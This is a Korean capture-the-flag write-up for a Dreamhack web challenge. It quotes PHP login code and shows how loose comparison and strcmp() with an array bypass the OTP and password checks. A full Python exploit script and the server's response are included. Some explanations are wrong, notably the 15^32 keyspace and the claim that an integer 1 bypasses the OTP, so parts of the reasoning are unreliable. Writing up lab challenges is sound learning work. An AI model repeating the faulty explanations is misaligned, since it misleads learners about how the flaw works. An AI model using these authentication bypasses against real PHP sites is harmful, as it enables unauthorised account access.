Description
관리자로 로그인하여 플래그를 획득하세요!
플래그 형식은 DH{...} 입니다.
패스워드를 생성하는 함수
function generatePassword($length) {
$characters = '0123456789abcdef';
$charactersLength = strlen($characters);
$pw = '';
for ($i = 0; $i < $length; $i++) {
$pw .= $characters[random_int(0, $charactersLength - 1)];
}
return $pw;
}
비밀번호의 길이는 32 length이고 문자는 16자(0123456789abcdef)로 구성되어있습니다.
그리고 charactersLength - 1을 해주면 비밀번호는 15의 32승인 경우의 수가 나옵니다.
brute force 공격을 생각했지만 경우의 수를 생각해보니 15의32승 = 43,143,988,327,398,920,000,000,000,000,000,000,000의 경우의 수가 나오네요.
제 컴퓨터는 양자컴퓨터가 아니므로 다른 방법을 찾아봐야겠습니다.
OPT를 생성하는 함수
function generateOTP() {
return 'P' . str_pad(strval(random_int(0, 999999)), 6, "0", STR_PAD_LEFT);
}
0~999999까지 6개의 숫자로 랜덤하게 생성해주는 듯 합니다.
숫자가 6개가 안되면 왼쪽부터 0으로 채워주고 문자열로 변환하고 앞에 'P'를 붙여줍니다.
예) 1552 -> 'P001552'
login 함수
function login() {
// cred 값을 post로 받아오지 못하면 please login을 리턴. 클라이언트쪽에서 cred 값을 서버쪽으로 넘겨줘야 함.
if (!isset($_POST['cred'])) {
echo "Please login...";
return;
}
// post 값을 받아온 cred를 base64로 디코딩하고 디코딩 실패하면 cred error 출력
if (!($cred = base64_decode($_POST['cred']))) {
echo "Cred error";
return;
}
/* 로그인 페이지에서 cred 값을 json형식으로 바꾸고 base64로 인코딩해서 서버로 보내줍니다.
해당 소스: $j = json_encode($a);
echo '<input type="hidden" name="cred" value="' . base64_encode($j) . '">';
이렇게 로그인 페이지에서 데이터를 넘겨주면 서버에서 아래 소스와 같이 json형태의 데이터를 json 디코딩합니다.
순서 정리: 클라이언트에서 cred 데이터를 받아서 json형식으로 변환 -> base64로 인코딩 -> 서버에서 받아서 다시 base64 디코딩
*/
if (!($cred = json_decode($cred, true))) {
echo "Cred error";
return;
}
// 로그인에는 id, pw, otp 값이 모두 존재해야 함.
if (!(isset($cred['id']) && isset($cred['pw']) && isset($cred['otp']))) {
echo "Cred error";
return;
}
// 아이디가 admin이 아니면 Hello, '$id'를 출력함.
if ($cred['id'] != 'admin') {
echo "Hello," . $cred['id'];
return;
}
// otp는 서버에서 관리하는 것 같습니다. 서버에 저장된 opt값(글로벌 변수)과 클라이언트 쪽에서 넘기는 otp 값을 비교하는 듯 합니다.
if ($cred['otp'] != $GLOBALS['otp']) {
echo "OTP fail";
return;
}
// 패스워드를 검증합니다. 패스워드가 맞으면 플래그 값을 출력합니다.
if (!strcmp($cred['pw'], $GLOBALS['admin_pw'])) {
require_once('flag.php');
echo "Hello, admin! get the flag: " . $flag;
return;
}
// 조건에 만족하지 않으면 Password fail 출력
echo "Password fail";
return;
}
이 파일을 보면 사용된 php의 버전을 알아낼 수 있습니다.
FROM php:7.3-apache
php 7.3 버전을 사용했고 해당 버전의 취약점을 이용해 로그인을 시도해 보겠습니다.
취약점은!=, strcmp()
취약점 1: !=
우회 방법: cred['otp']에 정수 1을 입력하면 PHP는 P123456을 0으로 변환하고, 비교는 0 != 0이 되어 OTP 검증을 우회할 수 있습니다.
취약점 2: strcmp()
우회 방법: cred['pw']에 배열을 넣으면 strcmp()는 NULL을 반환하고, !NULL이 TRUE로 평가되어 비밀번호 검증을 우회할 수 있습니다.
위 취약점 분석을 바탕으로 공격 데이터를 예로 작성해 봤습니다.
$_POST['cred'] = base64_encode(json_encode([
'id' => 'admin',
'pw' => [], // 배열을 넣어서 strcmp() 우회
'otp' => 1 // 1로 설정하여 OTP 우회
]));
import requests
import json
import base64
# 서버 URL
url = 'http://host3.dreamhack.games:10839/'
# 로그인 정보 설정
cred = {
'id': 'admin', # admin 계정으로 로그인
'pw': [], # 비밀번호: 배열을 넣어 strcmp() 우회
'otp': True # OTP: True 값으로 우회
}
# JSON 객체를 문자열로 변환 후 Base64로 인코딩
cred_encoded = base64.b64encode(json.dumps(cred).encode()).decode()
# POST 요청에 사용할 데이터
post_data = {
'cred': cred_encoded # Base64 인코딩된 JSON 데이터를 'cred'로 전송
}
# POST 요청 보내기
response = requests.post(url, data=post_data)
# 서버 응답 출력
print(response.text)
python ./test.py
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
<title>Easy Login</title>
</head>
<body>
<div class="login-container">
<h2>Login as admin to get flag<h2>
<form action="login.php" method="post">
<div class="form-group">
<label for="id">ID</label>
<input type="text" name="id"></br>
</div>
<div class="form-group">
<label for="pw">PW</label>
<input type="text" name="pw"></br>
</div>
<div class="form-group">
<label for="otp">OTP</label>
<input type="text" name="otp"></br>
</div>
<button type="submit" class="button">Login</button>
</form>
<div class="message">
<br />
<b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/html/index.php</b> on line <b>51</b><br />
Hello, admin! get the flag: DH{여기에 플러그인 나옴} </div>
</div>
</body>
</html>
플러그인 획득!
레벨 2단계라 어렵습니다..